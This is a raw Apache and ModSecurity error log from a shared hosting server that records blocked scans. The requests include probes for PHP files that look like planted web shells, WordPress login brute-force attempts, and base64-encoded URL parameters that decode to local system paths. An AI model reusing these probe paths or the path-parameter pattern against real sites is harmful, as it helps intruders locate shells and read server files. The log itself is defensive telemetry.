https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:12.705529 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.100:47241] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:12.705831 2026] [access_compat:error] [pid 531797:tid 531889] [remote 57.141.14.100:47241] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:12.733719 2026] [security2:error] [pid 531797:tid 532048] [client 20.151.217.54:46216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/loxico93.php"] [unique_id "ai3wsMTA7b1mZrmcA-8EiwAAAkY"] [Sat Jun 13 18:07:12.770715 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:12.770990 2026] [access_compat:error] [pid 531155:tid 531162] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:12.795695 2026] [security2:error] [pid 531155:tid 531347] [client 148.113.209.179:39362] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wsCmiP80klyS0NnrjYwAAAUg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:13.003331 2026] [security2:error] [pid 531155:tid 531165] [remote 17.241.219.94:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 94.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wsCmiP80klyS0NnrjZwABXwk"] [Sat Jun 13 18:07:13.135028 2026] [security2:error] [pid 531155:tid 531323] [client 20.9.67.71:64764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/crgio.php"] [unique_id "ai3wsSmiP80klyS0NnrjaAAAATA"] [Sat Jun 13 18:07:13.238510 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:13.238801 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:13.240595 2026] [security2:error] [pid 531797:tid 532006] [client 20.29.78.145:60515] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/mode.php"] [unique_id "ai3wscTA7b1mZrmcA-8EpgAAAh4"] [Sat Jun 13 18:07:13.326541 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:13.326862 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:13.457938 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.3:57958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:13.458227 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.3:57958] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:13.489363 2026] [security2:error] [pid 531797:tid 532097] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/json/tests/005.phpt"] [unique_id "ai3wscTA7b1mZrmcA-8EsQAAAnY"] [Sat Jun 13 18:07:13.518952 2026] [autoindex:error] [pid 531797:tid 532013] [client 89.251.0.63:53821] AH01276: Cannot serve directory /home3/davidtec/public_html/ExpertAppliance.org/css/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:07:13.542901 2026] [security2:error] [pid 531797:tid 532002] [client 13.140.175.37:52541] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "onehouseagency.com"] [uri "/"] [unique_id "ai3wscTA7b1mZrmcA-8EtQAAAho"] [Sat Jun 13 18:07:13.626122 2026] [security2:error] [pid 531155:tid 531335] [client 148.113.209.179:39368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wsSmiP80klyS0NnrjbwAAATw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:13.635338 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.85:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:13.635632 2026] [access_compat:error] [pid 531797:tid 531945] [remote 57.141.14.85:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:13.738526 2026] [security2:error] [pid 531155:tid 531280] [remote 17.22.237.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wsSmiP80klyS0NnrjcAABHnw"] [Sat Jun 13 18:07:13.777076 2026] [authz_core:error] [pid 531797:tid 531978] [remote 35.254.244.123:0] AH01630: client denied by server configuration: /home4/hiratsu1/public_html/files/php.ini [Sat Jun 13 18:07:13.786920 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:13.787178 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:13.787580 2026] [security2:error] [pid 531797:tid 531922] [remote 17.246.23.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wscTA7b1mZrmcA-8EwgACGzo"] [Sat Jun 13 18:07:13.848464 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:13.848776 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:13.933215 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.45:43954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:13.933662 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.45:43954] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:14.052601 2026] [security2:error] [pid 531797:tid 532119] [client 13.140.175.37:49173] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "onehouseagency.com"] [uri "/wp-includes/css/buttons.css"] [unique_id "ai3wssTA7b1mZrmcA-8E0QAAAos"] [Sat Jun 13 18:07:14.263746 2026] [access_compat:error] [pid 531797:tid 531873] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:14.264024 2026] [access_compat:error] [pid 531797:tid 531873] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:14.288060 2026] [core:error] [pid 531797:tid 532062] [client 47.79.200.141:30312] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:07:14.288080 2026] [core:error] [pid 531797:tid 532062] [client 47.79.200.141:30312] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:07:14.314570 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:14.314871 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:07:14.348183 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:14.348621 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:14.400267 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.6:39348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:14.400558 2026] [access_compat:error] [pid 531797:tid 531881] [remote 57.141.14.6:39348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:14.417731 2026] [security2:error] [pid 531155:tid 531345] [client 172.171.3.232:19349] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/taff.php"] [unique_id "ai3wsimiP80klyS0NnrjegAAAUY"] [Sat Jun 13 18:07:14.490954 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.55:37619] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:14.491352 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.55:37619] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:14.637194 2026] [security2:error] [pid 531797:tid 532115] [client 191.234.188.123:33295] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/ng.php"] [unique_id "ai3wssTA7b1mZrmcA-8E8wAAAog"] [Sat Jun 13 18:07:14.640933 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.14:64874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:14.641200 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.14:64874] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:14.754632 2026] [security2:error] [pid 531797:tid 532005] [client 192.185.4.126:39034] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kcd-global.com"] [uri "/xmlrpc.php"] [unique_id "ai3wr8TA7b1mZrmcA-8ETQACHV0"] [Sat Jun 13 18:07:14.802504 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:07:14.802880 2026] [access_compat:error] [pid 531155:tid 531250] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:07:14.857937 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:14.858209 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:14.957122 2026] [security2:error] [pid 531155:tid 531399] [client 13.140.175.37:53827] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "onehouseagency.com"] [uri "/media/system/js/core.js"] [unique_id "ai3wsimiP80klyS0NnrjgQAAAXw"] [Sat Jun 13 18:07:15.024645 2026] [security2:error] [pid 531797:tid 532116] [client 148.113.209.179:39378] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FBwAAAok"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:15.076932 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.78:22130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:15.077195 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.78:22130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:15.237018 2026] [autoindex:error] [pid 531797:tid 532048] [client 89.251.0.63:53821] AH01276: Cannot serve directory /home3/davidtec/public_html/ExpertAppliance.org/fonts/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:07:15.250368 2026] [security2:error] [pid 531797:tid 532023] [client 148.113.209.179:39392] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FFAAAAi8"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:15.326444 2026] [security2:error] [pid 531797:tid 532041] [client 20.151.217.54:48139] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/tires.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FGQAAAkA"] [Sat Jun 13 18:07:15.367287 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9jYXBhYmlsaXRpZXM= 